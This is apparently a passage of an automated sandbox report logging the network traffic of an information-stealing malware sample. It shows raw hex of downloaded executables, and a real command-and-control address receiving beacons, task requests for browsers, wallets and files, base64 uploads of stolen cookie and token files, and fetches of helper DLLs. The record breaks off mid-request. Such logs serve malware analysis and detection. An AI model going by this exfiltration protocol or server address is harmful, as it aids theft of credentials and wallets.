00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 08:55:50 GMTContent-Type: application/octet-streamContent-Length: 3218944Last-Modified: Fri, 15 Nov 2024 07:44:09 GMTConnection: keep-aliveETag: "6736fbc9-311e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 20 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 31 00 00 04 00 00 71 fa 31 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 0e 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 0d 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 65 65 6b 75 69 71 61 00 60 2a 00 00 b0 06 00 00 60 2a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 77 6a 6d 6c 6f 73 61 00 10 00 00 00 10 31 00 00 04 00 00 00 f8 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 31 00 00 22 00 00 00 fc 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 15 Nov 2024 08:57:08 GMTContent-Type: application/octet-streamContent-Length: 1822208Last-Modified: Fri, 15 Nov 2024 08:46:57 GMTConnection: keep-aliveETag: "67370a81-1bce00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 f6 ac 34 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ce 03 00 00 c0 00 00 00 00 00 00 00 60 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 48 00 00 04 00 00 3c 0e 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 40 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 4a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 30 05 00 00 00 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 50 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 77 73 66 70 69 68 67 00 50 19 00 00 00 2f 00 00 4a 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 77 6d 7a 69 68 6e 61 00 10 00 00 00 50 48 00 00 04 00 00 00 a8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 48 00 00 22 00 00 00 ac 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKEBAFIIECBGCAAAAFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 30 34 35 38 38 31 34 31 46 38 42 32 37 36 38 32 33 36 36 34 33 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 41 46 49 49 45 43 42 47 43 41 41 41 41 46 43 2d 2d 0d 0a Data Ascii: ------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="hwid"F04588141F8B2768236643------BAKEBAFIIECBGCAAAAFCContent-Disposition: form-data; name="build"mars------BAKEBAFIIECBGCAAAAFC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="message"browsers------JDGHIIJKEBGIDHIDBKJD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------JKFCBAEHCAEGDHJKFHJKContent-Disposition: form-data; name="message"plugins------JKFCBAEHCAEGDHJKFHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGCBAECFCAKKEBFCFIIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 42 41 45 43 46 43 41 4b 4b 45 42 46 43 46 49 49 2d 2d 0d 0a Data Ascii: ------GCGCBAECFCAKKEBFCFIIContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------GCGCBAECFCAKKEBFCFIIContent-Disposition: form-data; name="message"fplugins------GCGCBAECFCAKKEBFCFII--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBGHost: 185.215.113.206Content-Length: 6299Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------EBKKKEGIDBGHIDGDHDBF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAKFHIEGDGCAAAEGDGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 4b 46 48 49 45 47 44 47 43 41 41 41 45 47 44 47 2d 2d 0d 0a Data Ascii: ------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAAAKFHIEGDGCAAAEGDGContent-Disposition: form-data; name="file"------DAAAKFHIEGDGCAAAEGDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBAAAKFCAFIIDHIDGHIEHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEGCBAAFHDHDHJKEGCFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 45 47 43 42 41 41 46 48 44 48 44 48 4a 4b 45 47 43 46 43 2d 2d 0d 0a Data Ascii: ------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IEGCBAAFHDHDHJKEGCFCContent-Disposition: form-data; name="file"------IEGCBAAFHDHDHJKEGCFC--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBGIIDBKEBFBGCAEBAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 47 49 49 44 42 4b 45 42 46 42 47 43 41 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------JEBGIIDBKEBFBGCAEBAKContent-Disposition: form-data; name="message"wallets------JEBGIIDBKEBFBGCAEBAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDHIEGIIIECAKEBFBAAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 2d 2d 0d 0a Data Ascii: ------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="token"2e4d548c63ac805e902df1e492567fa4f24a90b6a2bad6cc9853cf905538a73cd379d83d------HIDHIEGIIIECAKEBFBAAContent-Disposition: form-data; name="message"files------HIDHIEGIIIECAKEBFBAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 34 64 35 34 38 63 36 33 61 63 38 30 35 65 39 30 32 64 66 31 65 34 39 32 35 36 37 66 61 34 66 32 34 61 39 30 62 36 61 32 62 61 64 36 63 63 39 38 35 33 63 66 39 30 35 35 33 38 61 37 33 63 64 33 37 39 64 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 